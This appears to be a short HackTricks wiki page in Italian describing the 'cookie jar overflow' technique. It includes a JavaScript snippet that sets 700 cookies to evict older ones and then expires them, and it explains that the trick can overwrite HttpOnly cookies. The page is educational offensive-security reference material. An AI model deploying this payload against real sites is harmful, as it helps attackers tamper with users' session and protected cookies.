Cookie Jar Overflow

Support HackTricks

I browser hanno un limite sul numero di cookie che possono memorizzare per una pagina. Quindi, se per qualche motivo hai bisogno di far scomparire un cookie, puoi sovraccaricare il barattolo dei cookie poiché i più vecchi verranno eliminati per primi:

// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`;
}

// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}

Nota che i cookie di terze parti che puntano a un dominio diverso non verranno sovrascritti.

Questo attacco può essere utilizzato anche per sovrascrivere i cookie HttpOnly poiché puoi eliminarli e poi reimpostarli con il valore che desideri.

Controlla questo in questo post con un laboratorio.

Supporta HackTricks

Last updated